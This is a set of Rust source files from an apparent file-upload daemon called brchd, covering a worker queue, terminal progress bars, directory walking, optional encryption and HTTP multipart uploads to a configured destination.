2 | use crate::config::DaemonConfig; 3 | use crate::daemon::{Server, Command}; 4 | use crate::errors::*; 5 | use crate::ipc::IpcMessage; 6 | use crate::queue::{Task, QueueClient}; 7 | use crate::status::StatusWriter; 8 | use crate::uploader::Worker; 9 | use crossbeam_channel::{self as channel, Sender, Receiver}; 10 | use std::thread; 11 | 12 | pub struct Standalone { 13 | status_rx: Receiver, 14 | tx: Sender, 15 | } 16 | 17 | impl QueueClient for Standalone { 18 | fn push_work(&mut self, task: Task) -> Result<()> { 19 | info!("pushing to queue: {:?}", task); 20 | self.tx.send(Command::PushQueue(task))?; 21 | Ok(()) 22 | } 23 | 24 | fn finish(&mut self) -> Result<()> { 25 | self.tx.send(Command::Shutdown)?; 26 | 27 | let mut w = StatusWriter::new(); 28 | for msg in &self.status_rx { 29 | if let IpcMessage::StatusResp(status) = msg { 30 | w.write(&status)?; 31 | } 32 | } 33 | w.finish()?; 34 | 35 | Ok(()) 36 | } 37 | } 38 | 39 | impl Standalone { 40 | pub fn new(args: &Args, config: DaemonConfig) -> Result { 41 | let total_workers = config.concurrency; 42 | let (tx, rx) = channel::unbounded(); 43 | for _ in 0..total_workers { 44 | let tx = tx.clone(); 45 | let mut worker = Worker::new(tx, 46 | config.destination.clone(), 47 | config.path_format.clone(), 48 | config.proxy.clone(), 49 | args.accept_invalid_certs, 50 | config.pubkey, 51 | config.seckey.clone()) 52 | .context("Failed to create worker")?; 53 | thread::spawn(move || { 54 | worker.run(); 55 | }); 56 | } 57 | 58 | let (status_tx, status_rx) = channel::unbounded(); 59 | 60 | thread::spawn(move || { 61 | let mut server = Server::new(rx, total_workers); 62 | server.add_subscriber(status_tx); 63 | server.run(); 64 | }); 65 | 66 | Ok(Standalone { 67 | status_rx, 68 | tx, 69 | }) 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/status.rs: -------------------------------------------------------------------------------- 1 | use console::Term; 2 | use crate::errors::*; 3 | use humansize::{FileSize, file_size_opts}; 4 | use serde::{Serialize, Deserialize}; 5 | use std::cmp; 6 | use std::collections::BTreeMap; 7 | use std::iter; 8 | use std::io::prelude::*; 9 | use std::time::{Instant, Duration}; 10 | 11 | const MAX_FILENAME_LEN: usize = 20; 12 | const MINIMUM_WIDTH: u16 = 48; 13 | const PROGRESS_BAR_OVERHEAD: u64 = 21 + MAX_FILENAME_LEN as u64; 14 | const UPDATE_NOTIFY_RATELIMIT: Duration = Duration::from_millis(200); 15 | 16 | #[derive(Debug, Default, Clone, Serialize, Deserialize)] 17 | pub struct Status { 18 | pub idle_workers: usize, 19 | pub total_workers: usize, 20 | pub queue: usize, 21 | pub queue_size: u64, 22 | pub progress: BTreeMap, 23 | } 24 | 25 | impl Status { 26 | pub fn update(&mut self, update: ProgressUpdate) { 27 | match update { 28 | ProgressUpdate::UploadStart(start) => { 29 | self.progress.insert(start.id, Progress { 30 | label: start.label, 31 | bytes_read: 0, 32 | total: start.total, 33 | speed: 0, 34 | }); 35 | }, 36 | ProgressUpdate::UploadProgress(progress) => { 37 | let p = self.progress.get_mut(&progress.id) 38 | .unwrap_or_else(|| panic!("progress bar not found: {:?}", progress.id)); 39 | p.bytes_read = progress.bytes_read; 40 | p.speed = progress.speed; 41 | }, 42 | ProgressUpdate::UploadEnd(end) => { 43 | self.progress.remove(&end.id); 44 | }, 45 | } 46 | } 47 | 48 | #[inline] 49 | fn is_idle(&self) -> bool { 50 | self.idle_workers == self.total_workers && self.queue == 0 51 | } 52 | } 53 | 54 | #[derive(Debug, Default, Clone, Serialize, Deserialize)] 55 | pub struct Progress { 56 | label: String, 57 | bytes_read: u64, 58 | total: u64, 59 | speed: u64, 60 | } 61 | 62 | #[derive(Debug)] 63 | pub enum ProgressUpdate { 64 | UploadStart(UploadStart), 65 | UploadProgress(UploadProgress), 66 | UploadEnd(UploadEnd), 67 | } 68 | 69 | #[derive(Debug)] 70 | pub struct UploadStart { 71 | pub id: String, 72 | pub label: String, 73 | pub total: u64, 74 | } 75 | 76 | #[derive(Debug)] 77 | pub struct UploadProgress { 78 | pub id: String, 79 | pub bytes_read: u64, 80 | pub speed: u64, 81 | } 82 | 83 | #[derive(Debug)] 84 | pub struct UploadEnd { 85 | pub id: String, 86 | } 87 | 88 | pub struct StatusWriter { 89 | term: Term, 90 | height: usize, 91 | last_update: Instant, 92 | } 93 | 94 | impl Default for StatusWriter { 95 | fn default() -> Self { 96 | Self::new() 97 | } 98 | } 99 | 100 | impl StatusWriter { 101 | pub fn new() -> StatusWriter { 102 | StatusWriter{ 103 | term: Term::stderr(), 104 | height: 0, 105 | last_update: Instant::now() - UPDATE_NOTIFY_RATELIMIT, 106 | } 107 | } 108 | 109 | pub fn write_progress(&mut self, p: &Progress, width: u64) -> Result<()> { 110 | // TODO: show self.bytes_read/self.total 111 | 112 | let (progress, indicators) = if p.total > 0 { 113 | let progress = p.bytes_read * 100 / p.total; 114 | let indicators = p.bytes_read * width / p.total; 115 | (progress, indicators) 116 | } else { 117 | (0, 0) 118 | }; 119 | let spaces = width - indicators; 120 | 121 | let speed = p.speed.file_size(file_size_opts::CONVENTIONAL) 122 | .map_err(|e| format_err!("{}", e))?; 123 | 124 | let indicators = iter::repeat('=').take(indicators as usize).collect::(); 125 | let spaces = if spaces > 0 { 126 | iter::once('>').chain( 127 | iter::repeat(' ').take(spaces as usize - 1) 128 | ).collect() 129 | } else { 130 | String::new() 131 | }; 132 | 133 | let mut filename = p.label.as_str(); 134 | if filename.len() > MAX_FILENAME_LEN { 135 | filename = &filename[..MAX_FILENAME_LEN]; 136 | } 137 | 138 | writeln!(self.term, "{:filename_width$} [{}{}] {:>10}/s {:>3}%", 139 | filename, 140 | indicators, 141 | spaces, 142 | speed, 143 | progress, 144 | filename_width=MAX_FILENAME_LEN, 145 | )?; 146 | 147 | Ok(()) 148 | } 149 | 150 | pub fn write(&mut self, status: &Status) -> Result<()> { 151 | // never skip updates that we became idle 152 | if !status.is_idle() { 153 | // check ratelimit 154 | let now = Instant::now(); 155 | if now.duration_since(self.last_update) < UPDATE_NOTIFY_RATELIMIT { 156 | return Ok(()) 157 | } 158 | self.last_update = now; 159 | } 160 | 161 | // update terminal 162 | let (_, width) = self.term.size(); 163 | let progressbar_width = cmp::max(width, MINIMUM_WIDTH) as u64 - PROGRESS_BAR_OVERHEAD; 164 | 165 | // clear the lines we've written the last time 166 | self.term.clear_line()?; 167 | if self.height > 0 { 168 | self.term.clear_last_lines(self.height)?; 169 | } 170 | self.height = 0; 171 | 172 | // print progress bars and print how many we wrote 173 | for p in status.progress.values() { 174 | self.write_progress(&p, progressbar_width)?; 175 | self.height += 1; 176 | } 177 | 178 | let queue_size = status.queue_size.file_size(file_size_opts::CONVENTIONAL) 179 | .map_err(|e| format_err!("{}", e))?; 180 | 181 | // print stats 182 | write!(self.term, " :: workers={}/{}, queue={} ({})\r", 183 | status.total_workers - status.idle_workers, // TODO: consider moving to busy_workers 184 | status.total_workers, 185 | status.queue, 186 | queue_size, 187 | )?; 188 | 189 | Ok(()) 190 | } 191 | 192 | #[inline] 193 | pub fn finish(&self) -> Result<()> { 194 | self.term.clear_line()?; 195 | Ok(()) 196 | } 197 | } 198 | -------------------------------------------------------------------------------- /src/temp.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use std::path::{Path, PathBuf}; 3 | 4 | pub fn partial_path(path: &Path) -> Result<(&Path, PathBuf)> { 5 | let parent = path.parent() 6 | .ok_or_else(|| format_err!("Path has no parent"))?; 7 | let filename = path.file_name() 8 | .ok_or_else(|| format_err!("Path has no file name"))? 9 | .to_str() 10 | .ok_or_else(|| format_err!("Filename contains invalid bytes"))?; 11 | 12 | let temp_filename = format!(".{}.part", filename); 13 | let temp_path = parent.join(temp_filename); 14 | Ok((parent, temp_path)) 15 | } 16 | -------------------------------------------------------------------------------- /src/uploader.rs: -------------------------------------------------------------------------------- 1 | use crate::crypto::{PublicKey, SecretKey}; 2 | use crate::crypto::upload::EncryptedUpload; 3 | use crate::daemon::Command; 4 | use crate::destination; 5 | use crate::errors::*; 6 | use crate::queue::{Task, Target, PathTarget}; 7 | use crate::pathspec::UploadContext; 8 | use crate::status::{ProgressUpdate, UploadStart, UploadProgress, UploadEnd}; 9 | use crate::web; 10 | use crossbeam_channel::{self as channel}; 11 | use rand::{thread_rng, Rng}; 12 | use rand::distributions::Alphanumeric; 13 | use reqwest::blocking::{Client, multipart}; 14 | use std::fs::{self, File}; 15 | use std::io; 16 | use std::io::prelude::*; 17 | use std::path::PathBuf; 18 | use std::time::{Instant, Duration}; 19 | use url::Url; 20 | 21 | const UPDATE_NOTIFY_RATELIMIT: Duration = Duration::from_millis(250); 22 | 23 | pub struct CryptoConfig { 24 | pubkey: PublicKey, 25 | seckey: Option, 26 | } 27 | 28 | pub struct Worker { 29 | client: Client, 30 | destination: Destination, 31 | path_format: String, 32 | tx: channel::Sender, 33 | crypto: Option, 34 | } 35 | 36 | pub enum Destination { 37 | Path(String), 38 | Url(Url), 39 | } 40 | 41 | impl Worker { 42 | pub fn new(tx: channel::Sender, destination: String, path_format: String, proxy: Option, accept_invalid_certs: bool, pubkey: Option, seckey: Option) -> Result { 43 | let destination = if let Ok(url) = destination.parse::() { 44 | Destination::Url(url) 45 | } else { 46 | Destination::Path(destination) 47 | }; 48 | 49 | // TODO: accept_invalid_certs should be per upload/download 50 | // TODO: accept_invalid_certs needs to be per-item 51 | let client = web::client(None, proxy.as_ref(), accept_invalid_certs, None)?; 52 | 53 | let crypto = pubkey.map(|pubkey| { 54 | CryptoConfig { 55 | pubkey, 56 | seckey, 57 | } 58 | }); 59 | 60 | Ok(Worker { 61 | client, 62 | destination, 63 | path_format, 64 | tx, 65 | crypto, 66 | }) 67 | } 68 | 69 | fn pop_work(&self) -> Option { 70 | let (tx, rx) = channel::unbounded(); 71 | self.tx.send(Command::PopQueue(tx)).unwrap(); 72 | rx.recv().ok() 73 | } 74 | 75 | pub fn run(&mut self) { 76 | // TODO: lots of smart logic missing here 77 | while let Some(task) = self.pop_work() { 78 | info!("starting task: {:?}", task); 79 | let (path, result) = match task.target { 80 | Target::Path(PathTarget { 81 | path, 82 | resolved, 83 | }) => { 84 | (format!("{:?}", path), self.start_upload_file(path, resolved)) 85 | }, 86 | Target::Url(url) => { 87 | (format!("{:?}", url.path), self.start_upload_download(&url.path, url.url)) 88 | }, 89 | }; 90 | 91 | if let Err(err) = result { 92 | // TODO: consider retry 93 | // TODO: notify the monitor somehow(?) 94 | error!("upload failed ({}): {}", path, err); 95 | } 96 | } 97 | } 98 | 99 | pub fn start_upload_file(&self, path: PathBuf, resolved: PathBuf) -> Result<()> { 100 | let file = File::open(&resolved)?; 101 | let metadata = fs::metadata(&resolved)?; 102 | let total = metadata.len(); 103 | 104 | self.start_upload(path, file, total, resolved) 105 | } 106 | 107 | pub fn start_upload_download(&self, path: &str, url: Url) -> Result<()> { 108 | let resp = self.client 109 | .get(url) 110 | .send()?; 111 | resp.error_for_status_ref()?; 112 | 113 | let total = resp.content_length().unwrap_or(0); 114 | 115 | let path = PathBuf::from(path); 116 | self.start_upload(path.clone(), resp, total, path) 117 | } 118 | 119 | pub fn start_upload(&self, path: PathBuf, r: R, total: u64, resolved: PathBuf) -> Result<()> { 120 | // TODO: this works for now, but we need to revisit this 121 | // TODO: this doesn't remove /../ inside the path 122 | let mut path = path.to_string_lossy().into_owned(); 123 | let label = path.clone(); 124 | while path.starts_with("../") { 125 | path = path[3..].to_string(); 126 | } 127 | 128 | // TODO: instead of boxing, we could refactor this into generics (benchmark this) 129 | let (file, total) = if let Some(crypto) = &self.crypto { 130 | let file = EncryptedUpload::new(r, &crypto.pubkey, crypto.seckey.as_ref())?; 131 | let total = file.total_with_overhead(total); 132 | (Box::new(file) as Box, total) 133 | } else { 134 | (Box::new(r) as Box, total) 135 | }; 136 | 137 | let (upload, id) = Upload::new(self.tx.clone(), file); 138 | notify(&self.tx, ProgressUpdate::UploadStart(UploadStart { 139 | id: id.clone(), 140 | label, 141 | total, 142 | })); 143 | 144 | let result = match &self.destination { 145 | Destination::Path(destination) => self.copy_file(upload, destination.clone(), &path, resolved), 146 | Destination::Url(url) => self.upload_file(url.clone(), upload, path, total), 147 | }; 148 | notify(&self.tx, ProgressUpdate::UploadEnd(UploadEnd { 149 | id, 150 | })); 151 | 152 | result 153 | } 154 | 155 | // TODO: full_path is not the right name, it's what's being sent to the server for structure 156 | fn copy_file(&self, mut upload: Upload, destination: String, path: &str, full_path: PathBuf) -> Result<()> { 157 | // TODO: should this be done by the function calling us? 158 | let full_path = full_path.to_string_lossy(); // TODO: is to_string_lossy the right approach here? 159 | let full_path = full_path.trim_start_matches('/').to_string(); 160 | 161 | destination::save_sync(&mut upload, UploadContext::new( 162 | destination, 163 | self.path_format.clone(), 164 | None, // TODO: in case of an url, set this to the host 165 | path, 166 | Some(full_path), 167 | )?) 168 | } 169 | 170 | fn upload_file(&self, url: Url, upload: Upload, path: String, total: u64) -> Result<()> { 171 | let file = multipart::Part::reader_with_length(upload, total) 172 | .file_name(path) 173 | .mime_str("application/octet-stream")?; 174 | 175 | let form = multipart::Form::new() 176 | .part("file", file); 177 | 178 | info!("uploading to {:?}", url); 179 | let resp = self.client 180 | .post(url) 181 | .multipart(form) 182 | .send()?; 183 | 184 | // TODO: check status code 185 | 186 | info!("uploaded: {:?}", resp); 187 | let body = resp.text()?; 188 | info!("uploaded(text): {:?}", body); 189 | 190 | Ok(()) 191 | } 192 | } 193 | 194 | fn random_id() -> String { 195 | thread_rng() 196 | .sample_iter(&Alphanumeric) 197 | .take(12) 198 | .collect() 199 | } 200 | 201 | struct Upload { 202 | id: String, 203 | tx: channel::Sender, 204 | inner: Box, 205 | bytes_read: u64, 206 | started: Instant, // TODO: sample recent upload speed instead of total 207 | last_update: Instant, 208 | } 209 | 210 | impl Upload { 211 | fn new(tx: channel::Sender, inner: Box) -> (Upload, String) { 212 | let id = random_id(); 213 | let now = Instant::now(); 214 | (Upload { 215 | id: id.clone(), 216 | tx, 217 | inner, 218 | bytes_read: 0, 219 | started: now, 220 | last_update: now, 221 | }, id) 222 | } 223 | 224 | fn notify(&mut self) { 225 | let now = Instant::now(); 226 | if now.duration_since(self.last_update) >= UPDATE_NOTIFY_RATELIMIT { 227 | let secs_elapsed = self.started.elapsed().as_secs(); 228 | let speed = if secs_elapsed > 0 { 229 | self.bytes_read / secs_elapsed 230 | } else { 231 | self.bytes_read 232 | }; 233 | notify(&self.tx, ProgressUpdate::UploadProgress(UploadProgress { 234 | id: self.id.clone(), 235 | bytes_read: self.bytes_read, 236 | speed, 237 | })); 238 | 239 | self.last_update = now; 240 | } 241 | } 242 | } 243 | 244 | fn notify(tx: &channel::Sender, update: ProgressUpdate) { 245 | tx.send(Command::ProgressUpdate(update)).unwrap(); 246 | } 247 | 248 | impl Read for Upload { 249 | fn read(&mut self, buf: &mut [u8]) -> io::Result { 250 | self.inner.read(buf) 251 | .map(|n| { 252 | self.bytes_read += n as u64; 253 | self.notify(); 254 | n 255 | }) 256 | } 257 | } 258 | -------------------------------------------------------------------------------- /src/walkdir.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use crate::queue::{Task, QueueClient}; 3 | use std::fs; 4 | use walkdir::WalkDir; 5 | 6 | pub fn queue(client: &mut dyn QueueClient, target: &str) -> Result<()> { 7 | for entry in WalkDir::new(target) { 8 | let entry = entry?; 9 | debug!("walkdir: {:?}", entry); 10 | let md = entry.metadata()?; 11 | let ft = md.file_type(); 12 | 13 | let path = entry.into_path(); 14 | let resolved = fs::canonicalize(&path)?; 15 | 16 | let task = if ft.is_file() { 17 | Task::path(path, resolved, md.len()) 18 | } else if ft.is_symlink() { 19 | debug!("resolving symlink: {:?}", path); 20 | let md = fs::metadata(&path)?; 21 | Task::path(path, resolved, md.len()) 22 | } else { 23 | continue; 24 | }; 25 | 26 | client.push_work(task)?; 27 | } 28 | 29 | Ok(()) 30 | } 31 | -------------------------------------------------------------------------------- /src/web.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use std::convert::TryFrom; 3 | use std::time::Duration; 4 | use reqwest::{blocking::Client, header::HeaderValue, Proxy}; 5 | 6 | pub fn client(timeout: Option, proxy: Option<&String>, accept_invalid_certs: bool, user_agent: Option<&String>) -> Result { 7 | let mut builder = Client::builder() 8 | .user_agent(if let Some(user_agent) = user_agent { 9 | HeaderValue::try_from(user_agent)? 10 | } else { 11 | let user_agent = format!("brchd/{}", env!("CARGO_PKG_VERSION")); 12 | HeaderValue::try_from(user_agent)? 13 | }) 14 | .danger_accept_invalid_certs(accept_invalid_certs) 15 | .connect_timeout(Duration::from_secs(5)); 16 | 17 | if let Some(timeout) = timeout { 18 | builder = builder.timeout(timeout); 19 | } 20 | if let Some(proxy) = proxy { 21 | builder = builder.proxy(Proxy::all(proxy)?); 22 | } 23 | let http = builder.build()?; 24 | Ok(http) 25 | } 26 | --------------------------------------------------------------------------------